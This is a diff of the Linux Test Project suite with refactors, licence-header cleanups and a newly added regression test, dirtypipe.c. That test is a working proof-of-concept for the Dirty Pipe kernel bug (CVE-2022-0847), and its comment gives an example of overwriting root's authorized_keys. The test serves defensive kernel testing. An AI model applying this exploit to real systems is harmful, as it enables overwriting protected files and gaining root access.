-	SIGADDSET(action.sa_mask, SIGTERM);
-#endif
-	for (i = 0; siginfo[i].signum != -1; i++) {
-#ifdef _LINUX
-		sigaddset(&action.sa_mask, siginfo[i].signum);
-#else
-		SIGADDSET(action.sa_mask, siginfo[i].signum);
-#endif
-		rc = sigaction(siginfo[i].signum, &action, NULL);
-		if (rc == -1) {
-			sprintf(tmpstr, "sigaction: %s\n", siginfo[i].signame);
-			perror(tmpstr);
-			fprintf(stderr,
-				" SEVERE : Could not set %s signal action, errno=%d.",
-				siginfo[i].signame, errno);
-			exit(1);
-		}
-	}
-}
-
-/*
-* Get and set a timer for current process.
-*/
-#ifndef _LINUX
-void set_timer(void)
-{
-	struct itimerstruc_t itimer, old_itimer;
-
-	if ((timer = gettimerid(TIMERID_REAL, DELIVERY_SIGNALS)) == -1) {
-		perror("gettimerid");
-		fprintf(stderr, " SEVERE : Could not get timer id, errno=%d.",
-			errno);
-		exit(1);
-	}
-
-	/*
-	 * Start the timer.
-	 */
-	itimer.it_interval.tv_nsec = 0;
-	itimer.it_interval.tv_sec = 0;
-	itimer.it_value.tv_nsec = 0;
-	itimer.it_value.tv_sec = (time_t) (TVAL * 60.0);
-	if (incinterval(timer, &itimer, &old_itimer) == -1) {
-		perror("incinterval");
-		fprintf(stderr,
-			" SEVERE : Could not set timer interval, errno=%d.",
-			errno);
-		(void)reltimerid(timer);
-		exit(1);
-	}
-}
-#else
-
-void set_timer(void)
-{
-	struct itimerval itimer;
-
-	memset(&itimer, 0, sizeof(struct itimerval));
-	/*
-	 * Start the timer.
-	 */
-	itimer.it_interval.tv_usec = 0;
-	itimer.it_interval.tv_sec = 0;
-	itimer.it_value.tv_usec = 0;
-	itimer.it_value.tv_sec = (time_t) (TVAL * 60.0);
-
-	if (setitimer(ITIMER_REAL, &itimer, NULL)) {
-		perror("setitimer");
-		exit(1);
-	}
-}
-#endif
-
-/*
- * parse_args
- *
- * Parse command line arguments.  Any errors cause the program to exit
- * at this point.
- */
-void parse_args(int argc, char *argv[])
-{
-	int i;
-	int opt, errflag = 0;
-	int dflag = 0, bflag = 0, fflag = 0, tflag = 0;
-	extern int optind;
-	extern char *optarg;
-
-	/* DVAL:        0  1     2      3   4  5  6  7  8  9  10 11 */
-	int limits[] = { -1, -1, MAXBVAL, 17, 8, 5, 4, 3, 2, 2, 2, 2 };
-
-	while ((opt = getopt(argc, argv, "b:d:ft:D?")) != EOF) {
-		switch (opt) {
-		case 'b':
-			if (bflag)
-				errflag++;
-			else {
-				bflag++;
-				errno = 0;
-				BVAL = atoi(optarg);
-				if (errno) {
-					perror("atoi");
-					fprintf(stderr,
-						" ERROR : atoi - errno %d.",
-						errno);
-					errflag++;
-				}
-			}
-			break;
-		case 'd':
-			if (dflag)
-				errflag++;
-			else {
-				dflag++;
-				errno = 0;
-				DVAL = atoi(optarg);
-				if (errno) {
-					perror("atoi");
-					fprintf(stderr,
-						" ERROR : atoi - errno %d.",
-						errno);
-					errflag++;
-				}
-			}
-			break;
-		case 'f':
-			fflag = 1;
-			break;
-		case 'D':
-			AUSDEBUG = 1;
-			break;
-		case 't':
-			if (tflag)
-				errflag++;
-			else {
-				tflag++;
-				errno = 0;
-				TVAL = atoi(optarg);
-				if (!TVAL || errno) {
-					perror("atoi");
-					fprintf(stderr,
-						" ERROR : atoi - errno %d.",
-						errno);
-					errflag++;
-				}
-			}
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-
-	if (BVAL < 2) {
-		errflag++;
-		fprintf(stderr, "The value of b must be greater than 1\n");
-	} else if (DVAL < 2) {
-		errflag++;
-		fprintf(stderr, "The depth value must be greater than 1\n");
-	} else if (!fflag && (DVAL > MAXDVAL)) {
-/* || BVAL > limits[DVAL])) { */
-		fprintf(stderr, "\tExceeded process creation limits.   \
-\n\tParameters will generate %lu processes.  \n\tThe preset limits are as \
-follows:\n\t\tdepth\tbreadth\ttotal\n", sumit(BVAL, DVAL));
-		for (i = 2; i <= MAXDVAL; i++)
-			fprintf(stderr, "\t\t %-3d\t  %-5d\t%-5lu\n", i,
-				limits[i], sumit(limits[i], i));
-		exit(1);
-	}
-
-	if (errflag) {
-		fprintf(stderr,
-			"usage: %s [-b number] [-d number] [-t number] \n",
-			argv[0]);
-		fprintf(stderr, "where:\n");
-		fprintf(stderr,
-			"\t-b number\tnumber of children each parent will spawn ( > 1)\n");
-		fprintf(stderr, "\t-d number\tdepth of process tree ( > 1)\n");
-		fprintf(stderr, "\t-t\t\tset timeout value\n");
-		fprintf(stderr, " SEVERE : Command line parameter error.\n");
-		exit(1);
-	}
-}
-
-/*
- * Initializes environment variables, using defaults if not set in env.
- */
-int getenv_val(void)
-{
-	char *c;		/* character pointer */
-	struct envstruct *envd = envdata;	/* pointer to environment data */
-
-	union {
-		int *vint;
-		char *chptr;
-	} val;
-
-	/*
-	 * Loop through envdata, set default first then set environment
-	 * variable value if present.
-	 */
-	for (; *envd->env_name != '\0'; envd++) {
-		if ((val.chptr = getenv(envd->env_name)) == NULL)
-			val.chptr = envd->eval.chptr;
-
-		c = val.chptr;
-		while (isdigit(*c))
-			c++;
-
-		if (*c == '\0') {
-			(envd->eval.vint) = malloc(sizeof(int));
-			*(envd->eval.vint) = atoi(val.chptr);
-		} else {
-			envd->eval.chptr = malloc(strlen(val.chptr) + 1);
-			strcpy(envd->eval.chptr, val.chptr);
-		}
-	}
-	return 0;
-}
-
-/*
- * Prints all errors coming from the children and terminates execution if
- * an error execption is received.  In addition messenger() is sent the
- * process group id of the children so it can terminate all children.
- * This routine uses message queues to receive all communications.
- */
-void messenger(void)
-{				/* AKA Assassin */
-	Msgbuf rcvbuf;
-
-	int discrim = 0;
-	int rc;			/* generic return code var */
-	int sig = -1;		/* type of signal received */
-	extern int msgerr;	/* message queue used to send error messages */
-	extern int procgrp;	/* process group of children (used to kill them) */
-
-	/*
-	 *  Infinite loop used to receive error messages from children and
-	 *  to terminate process tree.
-	 */
-	while (TRUE) {
-		rc = msgrcv(msgerr, &rcvbuf, sizeof(struct messagebuf), 0, 0);
-		if (rc == -1) {
-			switch (errno) {
-			case EAGAIN:
-				printf("msgqueue %d not ready to receive\n",
-				       msgid);
-				fflush(stdout);
-				errno = 0;
-				break;
-			case ENOMSG:
-				printf("msgqueue %d no message\n", msgid);
-				fflush(stdout);
-				errno = 0;
-				break;
-			default:
-				perror("msgrcv failed");
-				fprintf(stderr,
-					" SEVERE : messenger - msgrcv failed, errno: %d\n",
-					errno);
-				errno = 0;
-				break;
-			}
-		} else {
-			switch ((int)rcvbuf.mtyp) {
-			case 1:	/* type 1: we received the process group id */
-				sscanf(rcvbuf.mtext, "%d", &procgrp);
-				break;
-
-			case 2:	/*  type 2: we received an error */
-				fprintf(stderr, " SEVERE : %s ", rcvbuf.mtext);
-				/* rcvbuf.mtext type %s ou %d ??? */
-				break;
-
-			case 3:	/* type 3: somebody got a signal, now we terminate */
-				sscanf(rcvbuf.mtext, "%d", &sig);
-
-				switch (sig) {
-				case SIGALRM:
-					/* a process is hung, we will terminate */
-					killpg(procgrp, sig);
-					fprintf(errfp,
-						"ALERT! ALERT! WE HAVE TIMED OUT\n");
-					fprintf(stderr,
-						" SEVERE : SIGALRM: A process timed out, we failed\n");
-					shmaddr->err++;
-					break;
-
-				case SIGUSR1:
-					/* Special: means everything went ok */
-					discrim = 1;
-					break;
-
-				default:
-					/* somebody sent a signal, we will terminate */
-					killpg(procgrp, sig);
-					fprintf(errfp,
-						"We received signal %d\n", sig);
-					fprintf(stderr,
-						" SEVERE : signal %d received, A proc was killed\n",
-						sig);
-					break;
-				}
-				/* clean up and exit with status */
-				rm_msgqueue();
-				rm_semseg();
-				if (AUSDEBUG)
-					print_shm();
-				prtln();
-				rm_shmseg();
-				prtln();
-				if (discrim) {
-					prtln();
-					printf("Test exiting with SUCCESS\n");
-					exit(0);
-				}
-				exit(1);
-
-				break;
-			}
-		}
-	}
-}
-
-/*
- *  This routine spawns off the first child (node 0) of the process tree.
- *  This child set up the signal handler for all of the children and also
- *  sets up a process group so that all children can be terminated easily.
- *  The child then calls spawn which creates the process tree.  After spawn
- *  has returned the child contacts the parent and the parent exits.
- *  The parent sets her own signal handler and then calls messenger.
- */
-void doit(void)
-{
-	pid_t pid;		/* process id */
-	int rc;
-	char mtext[80];		/* message text */
-	extern int msgerr;
-	extern int procgrp;
-
-	pid = fork();
-#ifdef __64LDT__
-	if (pid == (pid_t) 0) {
-#else
-	if (pid == 0) {
-#endif
-		/* set the process group so we can terminate all children */
-		set_signals((void *)nextofkin);	/* set up signal handlers and initialize pgrp */
-#ifndef _LINUX
-		procgrp = setpgrp(0, 0);
-#else
-		procgrp = setpgrp();
-#endif
-		if (AUSDEBUG) {
-			fprintf(stderr, "process group: %d\n", procgrp);
-			fflush(stderr);
-		}
-		if (procgrp == -1) {
-			perror("setpgid failed");
-			fprintf(stderr, " SEVERE : setpgid failed, errno: %d\n",
-				errno);
-			exit(1);
-		}
-		sprintf(mtext, "%d", procgrp);
-		rc = send_message(msgerr, 1, mtext);
-		if (rc == -1) {
-			perror("send_message failed");
-			fprintf(stderr,
-				" SEVERE : send_message failed, errno: %d\n",
-				errno);
-			exit(1);
-		}
-
-		put_proc_info(0);	/* store process info for this (root) process */
-		spawn(0);
-		if (shmaddr->pid == getpid()) {
-			sprintf(mtext, "%d", SIGUSR1);
-			rc = send_message(msgerr, 3, mtext);
-			if (rc == -1) {
-				severe
-				    ("msgsnd failed: %d msgid %d mtyp %d mtext %d\n",
-				     errno, msgerr, 3, mtext);
-				exit(1);
-
-			}
-		}
-		exit(0);
-	}
-#ifdef __64LDT__
-	else if (pid > (pid_t) 0) {
-#else
-	else if (pid > 0) {
-#endif
-		set_signals((void *)cleanup);	/* set up signal handlers and initialize pgrp */
-		messenger();	/* receives and acts upon messages */
-		exit(1);
-	} else {
-		perror("fork failed");
-		fprintf(stderr,
-			" SEVERE : fork failed, exiting with errno %d\n",
-			errno);
-		exit(1);
-	}
-}
-
-/* main */
-int main(int argc, char *argv[])
-{
-	extern Pinfo *shmaddr;	/* start address of shared memory */
-
-	prtln();
-	getenv_val();		/* Get and initialize all environment variables */
-	prtln();
-
-	if (argc < 2) {
-		fprintf(stderr,
-			"usage: %s [-b number] [-d number] [-t number] \n",
-			argv[0]);
-		fprintf(stderr, "where:\n");
-		fprintf(stderr,
-			"\t-b number\tnumber of children each parent will spawn ( > 1)\n");
-		fprintf(stderr, "\t-d number\tdepth of process tree ( > 1)\n");
-		fprintf(stderr, "\t-t\t\tset timeout value\n");
-		fprintf(stderr, " SEVERE : Command line parameter error.\n");
-		exit(1);
-	}
-
-	parse_args(argc, argv);	/* Get all command line arguments */
-	dprt("value of BVAL = %d, value of DVAL = %d\n", BVAL, DVAL);
-	nodesum = sumit(BVAL, DVAL);
-#ifdef _LINUX
-	if (nodesum > 250) {
-		printf("total number of process to be created "
-		       "nodesum (%d) is greater\n than the allowed "
-		       "SEMMSL value (250)\n", nodesum);
-		printf("reseting the value of nodesum to SEMMSL\n");
-		nodesum = 250;
-	}
-#endif
-
-	dprt("value of nodesum is initiallized to: %d\n", nodesum);
-
-	prtln();
-	setup_shm();		/* Set up, allocate and initialize shared memory */
-	prtln();
-	setup_semaphores();	/* Set up, allocate and initialize semaphores */
-	prtln();
-	setup_msgqueue();	/* Set up, allocate and initialize message queues */
-	prtln();
-
-	doit();			/* spawn off processes */
-	prtln();
-	return 0;
-
-}
diff --git a/testcases/kernel/sched/tool/time-schedule.c b/testcases/kernel/sched/tool/time-schedule.c
index 4ff0bba..8668dd7 100644
--- a/testcases/kernel/sched/tool/time-schedule.c
+++ b/testcases/kernel/sched/tool/time-schedule.c
@@ -500,10 +500,14 @@
 
 	if ((fp = fopen("/proc/stat", "r")) == NULL)
 		return (0);
+
 	while (fgets(line, sizeof line, fp) != NULL) {
-		sscanf(line, "%s %lu", name, &val);
+		if (sscanf(line, "%s %lu", name, &val) != 2)
+			continue;
+
 		if (strcasecmp(name, "ctxt") != 0)
 			continue;
+
 		fclose(fp);
 		return (val);
 	}
diff --git a/testcases/kernel/sched/tool/trace_sched.c b/testcases/kernel/sched/tool/trace_sched.c
index 85c4b23..8693bee 100644
--- a/testcases/kernel/sched/tool/trace_sched.c
+++ b/testcases/kernel/sched/tool/trace_sched.c
@@ -345,7 +345,7 @@
 				spcy = SCHED_OTHER;
 			else {
 				fprintf(stderr,
-					"ERROR: Unrecognized scheduler policy,"
+					"ERROR: Unrecognized scheduler policy, "
 					"using default\n");
 				usage(argv[0]);
 			}
diff --git a/testcases/kernel/security/Makefile b/testcases/kernel/security/Makefile
index eea794a..648ee84 100644
--- a/testcases/kernel/security/Makefile
+++ b/testcases/kernel/security/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/security test suite Makefile
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/security/cap_bound/cap_bounds_r.c b/testcases/kernel/security/cap_bound/cap_bounds_r.c
index d7c2bf0..28f320f 100644
--- a/testcases/kernel/security/cap_bound/cap_bounds_r.c
+++ b/testcases/kernel/security/cap_bound/cap_bounds_r.c
@@ -85,9 +85,8 @@
 	 * We could test using kernel API, but that's what we're
 	 * testing...  So let's take an insanely high value */
 #define INSANE 63
-#define max(x,y) (x > y ? x : y)
 #if HAVE_DECL_PR_CAPBSET_READ
-	ret = prctl(PR_CAPBSET_READ, max(INSANE, CAP_LAST_CAP + 1));
+	ret = prctl(PR_CAPBSET_READ, MAX(INSANE, CAP_LAST_CAP + 1));
 #else
 	errno = ENOSYS;
 	ret = -1;
diff --git a/testcases/kernel/security/cap_bound/cap_bounds_rw.c b/testcases/kernel/security/cap_bound/cap_bounds_rw.c
index 503853c..a0d2111 100644
--- a/testcases/kernel/security/cap_bound/cap_bounds_rw.c
+++ b/testcases/kernel/security/cap_bound/cap_bounds_rw.c
@@ -115,18 +115,17 @@
 	 * We could test using kernel API, but that's what we're
 	 * testing...  So let's take an insanely high value */
 #define INSANE 63
-#define max(x,y) (x > y ? x : y)
 #if HAVE_DECL_PR_CAPBSET_DROP
-	ret = prctl(PR_CAPBSET_DROP, max(INSANE, CAP_LAST_CAP + 1));
+	ret = prctl(PR_CAPBSET_DROP, MAX(INSANE, CAP_LAST_CAP + 1));
 #else
 	errno = ENOSYS;
 	ret = -1;
 #endif
 	if (ret != -1) {
 		tst_resm(TFAIL, "prctl(PR_CAPBSET_DROP, %d) returned %d",
-			 max(INSANE, CAP_LAST_CAP + 1), ret);
+			 MAX(INSANE, CAP_LAST_CAP + 1), ret);
 		tst_resm(TINFO, " %d is should not exist",
-			 max(INSANE, CAP_LAST_CAP + 1));
+			 MAX(INSANE, CAP_LAST_CAP + 1));
 		tst_exit();
 	}
 	for (i = 0; i <= cap_last_cap; i++) {
diff --git a/testcases/kernel/security/dirtyc0w/Makefile b/testcases/kernel/security/dirtyc0w/Makefile
index aef8a9a..bf26d9e 100644
--- a/testcases/kernel/security/dirtyc0w/Makefile
+++ b/testcases/kernel/security/dirtyc0w/Makefile
@@ -1,18 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2016 Linux Test Project
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
new file mode 100644
index 0000000..fdf39ee
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/.gitignore
@@ -0,0 +1 @@
+/dirtypipe
diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
new file mode 100644
index 0000000..5ea7d67
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
new file mode 100644
index 0000000..b318a8d
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
@@ -0,0 +1,172 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * Author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Ported into LTP by Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include "tst_test.h"
+
+#define TEXT "AAAAAAAABBBBBBBB"
+#define TESTFILE "testfile"
+#define CHUNK 64
+#define BUFSIZE 4096
+
+static int p[2] = {-1, -1}, fd = -1;
+static char *pattern_buf, *read_buf;
+
+static void check_file_contents(void)
+{
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+	SAFE_READ(1, fd, read_buf, 4096);
+
+	if (memcmp(pattern_buf, read_buf, 4096) != 0)
+		tst_res(TFAIL, "read buf data mismatch, bug exists");
+	else
+		tst_res(TPASS, "read buff data match, bug doesn't exist");
+}
+
+/*
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(void)
+{
+	unsigned int pipe_size, total, n, len;
+	char buffer[BUFSIZE];
+
+	SAFE_PIPE(p);
+	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
+
+	/*
+	 * fill the pipe completely; each pipe_buffer will now have the
+	 * PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_WRITE(1, p[1], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
+	 * flags initialized)
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_READ(1, p[0], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * the pipe is now empty, and if somebody adds a new pipe_buffer
+	 * without initializing its "flags", the buffer wiill be mergeable
+	 */
+}
+
+static void run(void)
+{
+	int data_size, len;
+	ssize_t nbytes;
+
+	data_size = strlen(TEXT);
+
+	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+
+	prepare_pipe();
+
+	/*
+	 * splice one byte from the start into the pipe;
+	 * this will add a reference to the page cache, but since
+	 * copy_page_to_iter_pipe() does not initialize the "flags",
+	 * PIPE_BUF_FLAG_CAN_MERGE is still set
+	 */
+	nbytes = splice(fd, NULL, p[1], NULL, 1, 0);
+	if (nbytes < 0)
+		tst_brk(TFAIL, "splice failed");
+	if (nbytes == 0)
+		tst_brk(TFAIL, "short splice");
+
+	/*
+	 * the following write will not create a new pipe_buffer, but
+	 * will instead write into the page cache, because of the
+	 * PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	len = SAFE_WRITE(1, p[1], TEXT, data_size);
+	if (len < nbytes)
+		tst_brk(TFAIL, "short write");
+
+	check_file_contents();
+	SAFE_CLOSE(p[0]);
+	SAFE_CLOSE(p[1]);
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	memset(pattern_buf, 0xff, BUFSIZE);
+	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
+}
+
+static void cleanup(void)
+{
+	if (p[0] > -1)
+		SAFE_CLOSE(p[0]);
+	if (p[1] > -1)
+		SAFE_CLOSE(p[1]);
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+	.bufs = (struct tst_buffers []) {
+		{&pattern_buf, .size = 4096},
+		{&read_buf, .size = 4096},
+		{},
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9d2231c5d74e"},
+		{"CVE", "CVE-2022-0847"},
+		{},
+	}
+};
diff --git a/testcases/kernel/security/integrity/Makefile b/testcases/kernel/security/integrity/Makefile
index 14a97a8..edb1451 100644
--- a/testcases/kernel/security/integrity/Makefile
+++ b/testcases/kernel/security/integrity/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/security/integrity/ima/Makefile b/testcases/kernel/security/integrity/ima/Makefile
index 19b10ff..c2bda84 100644
--- a/testcases/kernel/security/integrity/ima/Makefile
+++ b/testcases/kernel/security/integrity/ima/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/security/integrity/ima testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/security/integrity/ima/datafiles/Makefile b/testcases/kernel/security/integrity/ima/datafiles/Makefile
index 280175b..200fd3f 100644
--- a/testcases/kernel/security/integrity/ima/datafiles/Makefile
+++ b/testcases/kernel/security/integrity/ima/datafiles/Makefile
@@ -1,26 +1,8 @@
-#
-#    testcases/kernel/security/integrity/ima/policy testcases Makefile.
-#
-#    Copyright (c) Linux Test Project, 2019-2020
-#    Copyright (c) 2020 Microsoft Corporation
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2019-2020
+# Copyright (c) 2020 Microsoft Corporation
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir	?= ../../../../../..
 
diff --git a/testcases/kernel/security/integrity/ima/src/Makefile b/testcases/kernel/security/integrity/ima/src/Makefile
index f7a8185..a772ab2 100644
--- a/testcases/kernel/security/integrity/ima/src/Makefile
+++ b/testcases/kernel/security/integrity/ima/src/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/security/integrity/ima/src testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../../..
 
diff --git a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
index 04d1066..62468e0 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
+++ b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
@@ -123,9 +123,9 @@
 }
 
 static struct tst_option options[] = {
-	{"d", &debug, "-d       enable debug"},
-	{"f:", &file, "-f x     binary_bios_measurement file (required)\n"},
-	{NULL, NULL, NULL}
+	{"d", &debug, "Enable debug"},
+	{"f:", &file, "binary_bios_measurement file (required)\n"},
+	{}
 };
 
 static struct tst_test test = {
diff --git a/testcases/kernel/security/integrity/ima/src/ima_mmap.c b/testcases/kernel/security/integrity/ima/src/ima_mmap.c
index e5dafb5..8596809 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_mmap.c
+++ b/testcases/kernel/security/integrity/ima/src/ima_mmap.c
@@ -43,7 +43,7 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"f:", &filename, "-f file  File to mmap"},
+		{"f:", &filename, "File to mmap"},
 		{}
 	},
 	.test_all = run,
diff --git a/testcases/kernel/security/integrity/ima/tests/Makefile b/testcases/kernel/security/integrity/ima/tests/Makefile
index b2ccdb6..36b726c 100644
--- a/testcases/kernel/security/integrity/ima/tests/Makefile
+++ b/testcases/kernel/security/integrity/ima/tests/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases/kernel/security/integrity/ima/tests testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../../../..
 
diff --git a/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh b/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh
index 9d86778..9851829 100755
--- a/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh
+++ b/testcases/kernel/security/integrity/ima/tests/evm_overlay.sh
@@ -10,7 +10,6 @@
 TST_CLEANUP="cleanup"
 TST_NEEDS_DEVICE=1
 TST_CNT=4
-. ima_setup.sh
 
 setup()
 {
